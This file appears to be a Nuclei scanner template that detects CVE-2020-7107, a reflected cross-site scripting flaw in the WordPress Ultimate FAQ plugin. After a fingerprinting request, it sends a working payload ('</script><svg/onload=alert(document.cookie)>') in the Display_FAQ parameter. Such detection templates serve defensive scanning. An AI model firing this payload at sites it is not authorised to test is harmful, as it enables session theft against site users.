WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting

id: CVE-2020-7107

info:
  name: WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress Ultimate FAQ plugin before 1.8.30 is susceptible to cross-site scripting via Display_FAQ to Shortcodes/DisplayFAQs.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: Fixed in version 1.8.30.
  reference:
    - https://wpscan.com/vulnerability/5e1cefd5-5369-44bd-aef7-2a382c8d8e33
    - https://wordpress.org/plugins/ultimate-faqs/
    - https://plugins.trac.wordpress.org/changeset/2222959/ultimate-faqs/tags/1.8.30/Shortcodes/DisplayFAQs.php
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7107
    - https://wordpress.org/plugins/ultimate-faqs/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-7107
    cwe-id: CWE-79
    epss-score: 0.02195
    epss-percentile: 0.80331
    cpe: cpe:2.3:a:etoilewebdesign:ultimate_faq:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: etoilewebdesign
    product: "ultimate_faq"
    framework: wordpress
  tags: cve,cve2020,ultimate-faqs,wpscan,xss,wordpress,wp-plugin,wp,etoilewebdesign,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/ultimate-faqs/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Ultimate FAQ'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/?Display_FAQ=%3C/script%3E%3Csvg/onload=alert(document.cookie)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'</script><svg/onload=alert(document.cookie)>"
          - "var Display_FAQ_ID ="
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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